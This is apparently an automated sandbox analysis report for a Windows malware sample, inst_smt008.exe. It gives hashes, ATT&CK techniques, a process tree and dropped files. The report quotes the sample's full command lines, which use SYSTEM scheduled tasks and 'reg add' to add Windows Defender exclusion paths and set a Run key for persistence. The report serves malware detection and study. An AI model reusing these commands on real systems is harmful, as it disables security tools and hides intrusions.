d052ed7eaba72b299b77fb2609082467c4b1999df297e88a8ee6648fb4350a9b

Analysis

max time kernel
145s
max time network
150s
platform
windows10-2004_x64
resource
win10v2004-20260513-en
resource tags

arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
05/08/2026, 01:38

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
inst_smt008.exe
Size 55.2MB
Sample260805-b2ff2sbf96
SHA256 d052ed7eaba72b299b77fb2609082467c4b1999df297e88a8ee6648fb4350a9b
MD5 5f5db39e84a0e623ceabbb696cfe76ea
SHA1 02c59b8bbac303baeb4438e5c0c3c885fb7b7024
SHA512 910ef7d7b698162687e9dd7a0a1d992261b2e233cb14c9bc7516fd1cbbf40bbcea3267c91cc3dc7c80531091ad29b44b42ac20fff021f59f4245e2a887caefcc
SSDEEP 196608:InnmbV2qWwRNTc+u1aZfO8pP+QDhb6Z/LzEnSQ5Ps6Y:iSRe9QD4
TLSH
T1C0C78406F702899AD4799338488B4F91B372ECF14AB6972323B8733D2EFA35C5E91545
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

defense_evasion execution persistence trojan

Malware Config

Signatures

Windows security bypass 2 TTPs 10 IoCs

defense_evasion trojan

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Public\JeBGWJ = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\ProgramData = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86) = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\Documents = "0"	reg.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1074038928-2032447174-945360078-1000\Control Panel\International\Geo\Nation	kHhGPa.exe

Executes dropped EXE 2 IoCs

pid	Process
2980	kHhGPa.exe
4320	kHhGPa.exe

Loads dropped DLL 2 IoCs

pid	Process
2980	kHhGPa.exe
4320	kHhGPa.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Tencent SecurityHealth = "\"C:\\Users\\Public\\JeBGWJ\\kHhGPa.exe\""	kHhGPa.exe

Indicator Removal: Clear Persistence 1 TTPs 5 IoCs

Clear artifacts associated with previously established persistence like scheduletasks on a host.

defense_evasion

Clear Persistence

T1070.009

pid	Process
3436	cmd.exe
3824	cmd.exe
1052	cmd.exe
1004	cmd.exe
556	cmd.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File created	C:\Windows\System32\CodeIntegrity\SiPolicy.p7b	kHhGPa.exe

Drops file in Program Files directory 9 IoCs

description	ioc	Process
File opened for modification	C:\Program Files (x86)\HNtbaA	kHhGPa.exe
File created	C:\Program Files (x86)\HNtbaA\HNtbaA.exe	kHhGPa.exe
File created	C:\Program Files (x86)\HNtbaA\image.png	kHhGPa.exe
File created	C:\Program Files (x86)\HNtbaA\thumbs.db	kHhGPa.exe
File opened for modification	C:\Program Files (x86)\HNtbaA\HNtbaA.exe	kHhGPa.exe
File opened for modification	C:\Program Files (x86)\HNtbaA\image.png	kHhGPa.exe
File opened for modification	C:\Program Files (x86)\HNtbaA\thumbs.db	kHhGPa.exe
File created	C:\Program Files (x86)\HNtbaA\XPSPLOG.dll	kHhGPa.exe
File opened for modification	C:\Program Files (x86)\HNtbaA\XPSPLOG.dll	kHhGPa.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 5 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
1244	cmd.exe
4388	cmd.exe
1404	cmd.exe
984	cmd.exe
1488	cmd.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{1f3427c8-5c10-4210-aa03-2ee45287d668}\Instance\	kHhGPa.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 5 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
1292	schtasks.exe
60	schtasks.exe
4948	schtasks.exe
4020	schtasks.exe
2392	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
2148	inst_smt008.exe
2148	inst_smt008.exe
2148	inst_smt008.exe
2148	inst_smt008.exe
2148	inst_smt008.exe
2148	inst_smt008.exe
2148	inst_smt008.exe
2148	inst_smt008.exe
2148	inst_smt008.exe
2148	inst_smt008.exe
2148	inst_smt008.exe
2148	inst_smt008.exe
2148	inst_smt008.exe
2148	inst_smt008.exe
2148	inst_smt008.exe
2148	inst_smt008.exe
2148	inst_smt008.exe
2148	inst_smt008.exe
2148	inst_smt008.exe
2148	inst_smt008.exe
2148	inst_smt008.exe
2148	inst_smt008.exe
2148	inst_smt008.exe
2148	inst_smt008.exe
2148	inst_smt008.exe
2148	inst_smt008.exe
2148	inst_smt008.exe
2148	inst_smt008.exe
2148	inst_smt008.exe
2148	inst_smt008.exe
2148	inst_smt008.exe
2148	inst_smt008.exe
2980	kHhGPa.exe
2980	kHhGPa.exe
2980	kHhGPa.exe
2980	kHhGPa.exe
2980	kHhGPa.exe
2980	kHhGPa.exe
2980	kHhGPa.exe
2980	kHhGPa.exe
2980	kHhGPa.exe
2980	kHhGPa.exe
2980	kHhGPa.exe
2980	kHhGPa.exe
2980	kHhGPa.exe
2980	kHhGPa.exe
2980	kHhGPa.exe
2980	kHhGPa.exe
2980	kHhGPa.exe
2980	kHhGPa.exe
2980	kHhGPa.exe
2980	kHhGPa.exe
2980	kHhGPa.exe
2980	kHhGPa.exe
2980	kHhGPa.exe
2980	kHhGPa.exe
2980	kHhGPa.exe
2980	kHhGPa.exe
2980	kHhGPa.exe
2980	kHhGPa.exe
2980	kHhGPa.exe
2980	kHhGPa.exe
2980	kHhGPa.exe
2980	kHhGPa.exe

Suspicious behavior: LoadsDriver 3 IoCs

pid	Process
660	Process not Found
660	Process not Found
660	Process not Found

Suspicious use of WriteProcessMemory 25 IoCs

description	pid	Process	procid_target
PID 2980 wrote to memory of 1052	2980	kHhGPa.exe	95
PID 1052 wrote to memory of 60	1052	cmd.exe	97
PID 1052 wrote to memory of 1652	1052	cmd.exe	98
PID 1052 wrote to memory of 2036	1052	cmd.exe	103
PID 1244 wrote to memory of 980	1244	cmd.exe	105
PID 2980 wrote to memory of 1004	2980	kHhGPa.exe	107
PID 1004 wrote to memory of 4948	1004	cmd.exe	109
PID 1004 wrote to memory of 748	1004	cmd.exe	110
PID 2980 wrote to memory of 556	2980	kHhGPa.exe	112
PID 1004 wrote to memory of 3428	1004	cmd.exe	114
PID 556 wrote to memory of 4020	556	cmd.exe	115
PID 556 wrote to memory of 1296	556	cmd.exe	117
PID 4388 wrote to memory of 5000	4388	cmd.exe	119
PID 556 wrote to memory of 2580	556	cmd.exe	121
PID 1404 wrote to memory of 216	1404	cmd.exe	122
PID 2980 wrote to memory of 3436	2980	kHhGPa.exe	123
PID 3436 wrote to memory of 2392	3436	cmd.exe	125
PID 3436 wrote to memory of 1472	3436	cmd.exe	126
PID 2980 wrote to memory of 3824	2980	kHhGPa.exe	129
PID 3436 wrote to memory of 2092	3436	cmd.exe	131
PID 3824 wrote to memory of 1292	3824	cmd.exe	132
PID 3824 wrote to memory of 764	3824	cmd.exe	133
PID 984 wrote to memory of 2556	984	cmd.exe	134
PID 3824 wrote to memory of 4160	3824	cmd.exe	136
PID 1488 wrote to memory of 4664	1488	cmd.exe	138

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\inst_smt008.exe
"C:\Users\Admin\AppData\Local\Temp\inst_smt008.exe"
1⤵
- Suspicious behavior: EnumeratesProcesses
PID:2148

C:\Users\Public\JeBGWJ\kHhGPa.exe
C:\Users\Public\JeBGWJ\kHhGPa.exe
1⤵
- Checks computer location settings
- Executes dropped EXE
- Loads dropped DLL
- Adds Run key to start application
- Drops file in System32 directory
- Drops file in Program Files directory
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:2980
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\JeBGWJ\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:1052
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\JeBGWJ\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:60
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:1652
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:2036
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:1004
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:4948
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:748
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:3428
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:556
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:4020
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:1296
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:2580
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:3436
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:2392
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:1472
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:2092
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"%USERPROFILE%\Documents\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:3824
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Admin\Documents\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:1292
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:764
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:4160
- C:\Program Files (x86)\HNtbaA\HNtbaA.exe
  "C:\Program Files (x86)\HNtbaA\HNtbaA.exe"
  2⤵
  PID:412

C:\Windows\system32\cmd.exe
cmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\JeBGWJ" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:1244
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\JeBGWJ" /t REG_DWORD /d 0 /f
  2⤵
  - Windows security bypass
  PID:980

C:\Users\Public\JeBGWJ\kHhGPa.exe
"C:\Users\Public\JeBGWJ\kHhGPa.exe"
1⤵
- Executes dropped EXE
- Loads dropped DLL
PID:4320

C:\Windows\system32\cmd.exe
cmd.exe
1⤵
PID:5044

C:\Windows\system32\cmd.exe
cmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4388
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f
  2⤵
  - Windows security bypass
  PID:5000

C:\Windows\system32\cmd.exe
cmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:1404
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f
  2⤵
  - Windows security bypass
  PID:216

C:\Windows\system32\cmd.exe
cmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:984
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
  2⤵
  - Windows security bypass
  PID:2556

C:\Windows\system32\cmd.exe
cmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:1488
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
  2⤵
  - Windows security bypass
  PID:4664

C:\Program Files (x86)\HNtbaA\HNtbaA.exe
"C:\Program Files (x86)\HNtbaA\HNtbaA.exe"
1⤵
PID:4248

C:\Program Files (x86)\ivAN5W6o\IWGt2.exe
"C:\Program Files (x86)\ivAN5W6o\IWGt2.exe"
1⤵
PID:1416

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Windows Command Shell

T1059.003

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Indicator Removal

T1070

Clear Persistence

T1070.009

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

HNtbaA.exe

Path C:\Program Files (x86)\HNtbaA\HNtbaA.exe
Size 145KB
SHA256 6d6ba2bc9ad414837826f7278bc3e0116f1aeda02d0c2284ed65819f5d9180a8
MD5 5251b98614acffe5c856f4039ca03da3
SHA1 c80ed6716e89d4862f28ebbc130ec5aa362db963
SHA512 d750c9adb08d9525ee9948c0c18c96f0c9520068aa4aa24885ac0d98790a6cc0a8ce0e71e1c669acd4623e0aabfc08c11c02be403f275b01aa4277c4ddab3302
SSDEEP 3072:VafgcZGuY2TqWLGzwRC7kll1xtBQDTCCvtzaYPFPR/M:Yz8upLGaPQDnFzaYPFdM
TLSH
T16AE30852B6808460F76A0B311864F9E44A6EED3C1AD0E95FF2787D3A1E311C38A7756F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

XPSPLOG.dll

Path C:\Program Files (x86)\HNtbaA\XPSPLOG.dll
Size 4.6MB
SHA256 f022586d0c88cd3486717733ade2c70ba49ca3d018f0a1f138c1881a7c6e7c31
MD5 06cc027b519c8c906ba50cf7568873b1
SHA1 6ee2cd6499d06b0acf196044db8b8b634cc0aee4
SHA512 325561a104f8b5bac722f1fb99227127479d50087e53998c7702353145f9e2962c6f0af6bd919fb79b4026fb9653c610c02f9fbff1b9f9527983de344ab5067f
SSDEEP 98304:yCMWmcKfST5t+BceThTHfaCCUqmJPCYvboB1fdmy+:BMWKfU+BcUTHCCCfqCiUffn+
TLSH
T177263349BADB025DD89672704F6AFD7EB2B92CCC4204DC4DD44DE587E8B2729703A90E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

image.png

Path C:\Program Files (x86)\HNtbaA\image.png
Size 5.0MB
SHA256 c931768861b61e60f88423acb9f853ed52e8672c7236acd896932ebe894f4f8a
MD5 2e5a4094aad8dc53d2b813b9925e51c6
SHA1 ff72803cd91a8aff26a66d2b8c04d78678b8abb2
SHA512 3c2dcc9cfc98c8e9cfe72fa05c4c3a1a090679520d7e7c40ae37ac37bba7e232c195a56763085eb5167605b94ecef2ac318709612505d269c0bdefaf4f6b2848
SSDEEP 98304:BqvO3/u21dcwj8esL9KK5MMrOalZpUC/IQdFOrMeifpHcmI0DoKoxGhUX:h/u21dGs2rOal3UpkiMT59IZVGhW
TLSH
T164363325135D318B6AD6C2DCDF91617AE6814BF0E880CDB837D92FB3527CEBA7088645
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

thumbs.db

Path C:\Program Files (x86)\HNtbaA\thumbs.db
Size 358KB
SHA256 65a407e7a0734fd62f5d41cc6ddf34690fcf92faa856edfbf85717f29a67b692
MD5 1d008a25ca909929105a5e534e02027c
SHA1 386184ce6b77201f9221cc236d337016a3a22a15
SHA512 1f6f8a7a2b2c32ad67837ac3d0534cfd598e0d410d304bcd41137cdf7415da36130432480beaaf9d76ee80678f99bcb2b4ebf70b285976b66643113f2081a61d
SSDEEP 6144:viACk/u6n9aBOmmD1oQFu0oMOxKnJPWyD9Dcqt1oFsnrqW7mb/:a8u69CghoQxoMTFQqtKFCz7mb/
TLSH
T1EE74F268E6651EFE0E175FECE04F58AE9A8FD9E302C900252BF1C6D1CA106E4941FD5E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

XPSPLOG.dll

Path C:\Program Files (x86)\ivAN5W6o\XPSPLOG.dll
Size 4.4MB
SHA256 1838896ff5f123a8d9002e157e3a1f55f197cdcbd3b1c451db0f6664e32436da
MD5 ac03dca97143cd366bbd0498cddcb2a8
SHA1 6e7de1832b55e0a67a24769b222c12ab2a4ad8e7
SHA512 f6d90a911485e4fd6971df8ee6278fe26d0b4c21ace812ca0d256ddcac091004f0130cdcf6768b165a0708d008dfcc225d902d5165c0d5ffb8c86441dbe0486f
SSDEEP 98304:yCMWmcKfST5t+BceThTHfaCCUqmJPCYvboB1fdL:BMWKfU+BcUTHCCCfqCiUfft
TLSH
T1BB263349BACB064DD89672B45F29FC7EB6B52DCC4304DC49C449758BD8B372A703A90E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

XPSPLOG.dll

Path C:\Program Files (x86)\ivAN5W6o\XPSPLOG.dll
Size 3.6MB
SHA256 d9d1249282d558fe10314dd4e2b9d2c1ab81c6c4e69b66a41bb6cc3e83b1c94b
MD5 a9acdd35b7a316ae8957cdcc265f7679
SHA1 85a8f7ad0e03255597da049638deb789458e96f2
SHA512 5dd539d89fe2fbe0f594590c6521390b14cb93bdc8837b4135894b1f2a6f46f69aa8382b757c844d31b0fd36bcc449617abe4e045a44623381f28fe1b9bfeadd
SSDEEP 49152:3KLKP3cCMWmRqKJ1JNST5Z/nvsNBcVwNefYhOY+nEXOnqaiOKZCUqyn78eT1581V:yCMWmcKfST5t+BceThTHfaCCUqmJPCY+
TLSH
T117063349B7DB561EE95272785F2EFC3E737828CC4308EC88D495758B9072B7A6039A0D
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

1BA79029EC3FFD076F5DAC2F70A18685

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\1BA79029EC3FFD076F5DAC2F70A18685
Size 1KB
SHA256 63b14543360f5e89942ea8d5113526e64fbc71c1207328f0136b3a495d921dd0
MD5 adac67e1d2da2d706db151c2db316b2d
SHA1 5f6e301d23e33132209707945d0e740d5bcb8996
SHA512 9371b62ac25c6ea8fb6fca19ac47b873ced9b3d0cb45ce4de5ea974b93c12684c65aa23c7d83331c77502853258a08dff73ce5e3fb6170bd3ab1c5b3283a86a9
TLSH
T1DE31AD4EA2153027D5427F72D8CEBE83CEB1364667CAD46B18046E4229AAFC25FC80C9
MD5 SHA1 SHA512 TLSH

Submit Download

1BA79029EC3FFD076F5DAC2F70A18685

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\1BA79029EC3FFD076F5DAC2F70A18685
Size 186B
SHA256 9c746e31dc3c9330245712aec3d47a0c6ce91947ed1e43fcb83fc2dd43d5e1b6
MD5 717debd9389ce70de4f4a5bc43840493
SHA1 7d28607069bebdbf90f15665bc5fa27d5e4c9843
SHA512 04150744648967010385a94cc6bb314736935327d94cf52ddd1e65e8ee175f838001d493b707348dfc88b02f57c1624cf3ff35704c4909e5d630efd4ea837a2e
TLSH
T106C04C5063B54254F131CD7E2F5216B2977A5D159D12C3540B64425D946CE011962E12
MD5 SHA1 SHA512 TLSH

Submit Download

UxEnhance64.dll

Path C:\Users\Public\JeBGWJ\UxEnhance64.dll
Size 3.1MB
SHA256 ce1855ea4a66730d847fa2b95974218798594bca65f348a0e5764090eec5ae48
MD5 2d8360f51cb1317b71e9f27be40e36c8
SHA1 e6cfc0b2441d053e2e9d62f24c7c8e4ce11929c1
SHA512 c2cf4e6f5669fd4a6e2b1f5b8f18d485782f68714e312dbd18981b71c2fbc1778aefed51f2142d9518eb8407deff2233bda3be7cb349c9c813e3743fe9698273
SSDEEP 49152:P9KpI8cBa0kj6BK0x3TiMQclkGo2PXk6rkwuuWG/+WizBedfb77N3SnKrKB+q:P9m29xx3Tiqt06ox6+z2rNNrKoq
TLSH
T1C1E523E5B6D739F6D023CBF4DA62A1AD70393F505F635C5F3B8929014E62228973A390
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

adoresd.dat

Path C:\Users\Public\JeBGWJ\adoresd.dat
Size 4.7MB
SHA256 fad65590311bbfa53ade46573e17b187a9093d692bba85f7c5b20f2a95f73581
MD5 b80db3adb6080b2a2c21303912ed98d6
SHA1 9dcb11f44fd3f457d65524c30f81dd15c1d22908
SHA512 de27cb554851cd2bc6303387e79c0a776cdb439acf7e4ad18a9545afb491c928f7780cd7a61995befa4d489c539014a209efb8716fadca9589f3b28fdde43aaa
SSDEEP 98304:5mu1SwODpRGIRdXEMZYe6rFLoTTpMk6ZGvQv0Ss2i+XZXea1v5WZd8uCp:cu1SwOflfZPF6Ma0bsoa5+qd
TLSH
T1AB3633368AE6F5C7E35B2A0AF36888DD12B0B7AD6E9D75C24AF070145DB30CE9015BC4
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

kHhGPa.exe

Path C:\Users\Public\JeBGWJ\kHhGPa.exe
Size 135KB
SHA256 676a2a7b94ca2f8ec76352ee656e4d075bb342bd7ad6efbc7c19c060001eace7
MD5 9ec587911e501b73b7cf09f05d0ae17d
SHA1 5b62403cc9a668c6e5c70ace177fd54fcc4c5936
SHA512 d05468a472373815c46ccb46ec743408365d24982d10d8a23ee0036c28cf3dacd05d74304ef2d4b7118f91ff3f631f676b2e86ddee92a02cf988b0d3c6247847
SSDEEP 3072:MmhXb5pgtiaRENEErO9Uj4OqhhUvB4BNgQaJ:MmjgtiayGErsUKh3To
TLSH
T1D0D38C2776A474F9E1778635C8511A1AE772B8760770CB9F03A442A62F237D19E3EF20
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

msadox.tb

Path C:\Users\Public\JeBGWJ\msadox.tb
Size 8KB
SHA256 e055a62f07e95f95e3cb5e146431b226d69c6d2deb66d5b348a24510f033c4d9
MD5 03259edbe504dfe590e3bd07831bb4fc
SHA1 faba195311d2aced953215d24b16dc6e5ab901e5
SHA512 cbd4ae4725fa0ebe1088148bd3be75b9e74ae20513299fc22cb0fdf394730ccfe4366fd0dfbb8c898bf04d92a50574295710a6cdb3668ca33cffd859e47c46a7
SSDEEP 192:GqbZajnZ45X1q3JXglD+3vR8cwNhIMCGe2y0PQp:GsZqZOXQ3uqvR2Kfzp
TLSH
T1C8029E05D7A20CC3D2116C71CD9EB2F5AB13A1DADA3926719C67D4C167072DD2CE620D
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

destopbak.ini

Path C:\Users\Public\Music\destopbak.ini
Size 2B
SHA256 dd1e2826c0124a6d4f7397a5a71f633928926c0608b62fb9e615ba778acc39ff
MD5 7e74f75663e5b5a4f3452a4c603ee45d
SHA1 d5114b086b721f2c87ea7152025792958ab4c629
SHA512 2f5d0d45593487bebc2ccf968eaf2a4a3bde1d5a29c7c2b5ad411e041c0d3b7a46be439ed7083093057a96030683b9defbed1a2ef7882b3e64cf3fbc7c9cf12f
MD5 SHA1 SHA512

Submit Download

memory/412-697-0x0000000003220000-0x0000000003A27000-memory.dmp

Download

memory/412-666-0x00000000007D0000-0x00000000007D1000-memory.dmp

Download

memory/412-685-0x0000000000AD0000-0x0000000000AE4000-memory.dmp

Download

memory/412-667-0x0000000074D00000-0x000000007544A000-memory.dmp

Download

